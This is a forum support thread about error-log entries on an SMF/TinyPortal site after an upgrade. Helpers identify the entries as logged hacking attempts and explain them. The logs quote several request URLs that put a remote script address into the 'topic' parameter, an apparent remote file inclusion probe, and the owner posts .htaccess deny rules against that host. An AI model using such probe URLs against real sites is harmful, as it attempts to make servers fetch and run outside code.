Security issue TPShout.template.php

[OxiDia]

Have a security breach within TP and probably within SMF sins upgrade to SMF 1.1.10 and TinyPortal v1.0 beta 4.

I couldnââ,¬â,,¢t see this security breach until now, had to remove 136 853 error codes from the problem with smileys_enabled first.
smileysEnabled "more" error (TP forum)

Code Select Expand

http://www.svenskamord.se/index.php?topic=http://amyru.h18.ru/images/cs.txt? 
8: Undefined index: boardnews
File: /customers/svenskamord.se/svenskamord.se/httpd.www/Themes/default/languages/Post.swedish-utf8.php (main sub template - eval?)
Row: 15

Code Select Expand

http://www.svenskamord.se/index.php?topic=http://amyru.h18.ru/images/cs.txt? 
2: Invalid argument supplied for foreach()
File: /customers/svenskamord.se/svenskamord.se/httpd.www/Themes/default/languages/Post.swedish-utf8.php (main sub template - eval?)
Row: 15

Made a quick change to htaccess but is still getting the following security breach error codes in the log.

Code Select Expand

http://www.svenskamord.se/index.php?topic=http://amyru.h18.ru/images/cs.txt? 
8: Undefined index: boardnews
File: /customers/svenskamord.se/svenskamord.se/httpd.www/Themes/default/TPShout.template.php (main sub template - eval?)
Row: 15

Code Select Expand

http://www.svenskamord.se/index.php?topic=http://amyru.h18.ru/images/cs.txt? 
2: Invalid argument supplied for foreach()
File: /customers/svenskamord.se/svenskamord.se/httpd.www/Themes/default/TPShout.template.php (main sub template - eval?)
Row: 15

htaccess

Code Select Expand

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*

<Limit GET POST>
order deny,allow
deny from all
deny from h18.ru
deny from amyru.h18.ru
deny from images.amyru.h18.ru
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>

#get rid of bad bots
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^BadBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^EvilScraper [OR]
RewriteCond %{HTTP_USER_AGENT} ^FakeUser
RewriteRule ^(.*)$ http://go.away/

RewriteCond %{HTTP_REFERER} ^http://.*h18\.ru [NC]
RewriteRule .* - [F]

[G6Cad]

Looks more like someone have posted a link to something inside your forum ( SPAM ), dont see how that can be a security issue with TP

Check your board settings and change the permissions for users to not be able to post links or add a sig before they have reached 10 posts or similar, we have it set like that on this site to for preventing spammers posting links

[OxiDia]

I have checked the forum and the users, there is now link to/from h18.ru and the problem/hack came after the upgrade...

I didn't really found the settings you refer to, maybe I'm looking past it, the Adminpanel is in Swedish...

Found this at SMF forum 1.1.10 hacked?maybe phishing script.

G6 I found your post at the forum about pictures...

[G6Cad]

Any new user with it's own avatar added latly, this is not a TP issue so you need to seek help on SMF for this.
It's probably the avatar issue they have talked about before there on SMF

[IchBin]

When a link is added to the URL like those errors above, that is when someone or some machine is "attempting" to hack your forum. That doesn't necessarily mean that you have been hacked, just that they are attempting. Where is the link you are talking about?

[OxiDia]

Avatars checked,

What links where asked for, if not clickable...

There is something wrong with the TPShout.template.php,

Code Select Expand

http://www.svenskamord.se/index.php
8: Undefined index: boardnews
File: /customers/svenskamord.se/svenskamord.se/httpd.www/Themes/default/TPShout.template.php (main sub template - eval?)
Row: 15

Code Select Expand

http://www.svenskamord.se/index.php
2: Invalid argument supplied for foreach()
File: /customers/svenskamord.se/svenskamord.se/httpd.www/Themes/default/TPShout.template.php (main sub template - eval?)
Row: 15

Still getting the same error codes/hack attempts, but only from TPShout.template.php, and these new ones.

Code Select Expand

http://www.svenskamord.se/index.php?topic=http://owned-nets.blogspot.com/2009/05/pro0f3th1sddbluelinebe.html?
8: Undefined index: boardnews
File: /customers/svenskamord.se/svenskamord.se/httpd.www/Themes/default/TPShout.template.php (main sub template - eval?)
Row: 15

Code Select Expand

http://www.svenskamord.se/index.php?topic=http://owned-nets.blogspot.com/2009/05/pro0f3th1sddbluelinebe.html?
2: Invalid argument supplied for foreach()
File: /customers/svenskamord.se/svenskamord.se/httpd.www/Themes/default/TPShout.template.php (main sub template - eval?)
Row: 15

[G6Cad]

Have re read through this now and saw that you upgraded ( or said you upgraded when these errors showed up )

The error strings point all in ne direction and thats language file issues, nt only  a hackattempt but language strings.
Did you upgrade your language strings aswell when you upgraded the SMF and TP ?  if you run on old language packages, these errors will show up. Also see you get the errors from utf8 packages.

Make sure you have updated language packages for both SMF, TP and also other mods if you have any installed.

SMF UTF8 for SMF 1.1.10 http://download.simplemachines.org/index.php?thanks;filename=smf_1-1-10_swedish-utf8.zip
TP Beta4 UTF8  http://www.tinyportal.net/index.php?action=tpmod;dl=item1105

And as a sidenote, svenskamord.se ?  is that the site we are talking about ? You have said several times in this topic that the site is crowded, many members online etc, but i have been visiting that site for quite some time now since i registerd there and it's never a lot of members or guests online there...

[bloc]

Its not language errors..its like Ichbin said, someone attempting to see if anything happens when they add a site adress to the "topic" variable in the url.

What you are seeing, are the errors coming from templates that do not have any data to show - because of the abrupt stop when SMF/TP finds out "topic=" isn't a number.

So its an ATTEMPT to hack the forum, and you are just seeing the script's stop errors because of it. Nothing is truly hacked.

[OxiDia]

I didnââ,¬â,,¢t upgrade the forum by myself, some gay from SMF helped me. Left me with the error codes and told me to go to this forum to find out the problems.

What I can see, everything should be up to date with the latest fixes. Iââ,¬â,,¢m only trying to figure out the rest of the error codes.

The system doesnââ,¬â,,¢t show al statistics, most people use 100 recent (latest) posts.
Unique visitors from average less than 1000/day to 3000/day (with tops of 10 000/day)
World Traffic Rank from over 1 000 000 to 619,513 (with top of 273 796)

Itââ,¬â,,¢s starting to stabilizes down with the visitor, but itââ,¬â,,¢s still much more traffic for us. In addition, the next thing after getting the error codes gone one by one, is to find out how to show all of the statistics from server.

The site was supposed to have changed Template also, but without the errors first, before new error has access.

I'm thankful for all of your help, Iââ,¬â,,¢m trembling in the dark here, you are the experts...

[IchBin]

You will not be able to get rid of those errors for the hacking attempts. It is a way for SMF to notify you if someone is attempting to hack.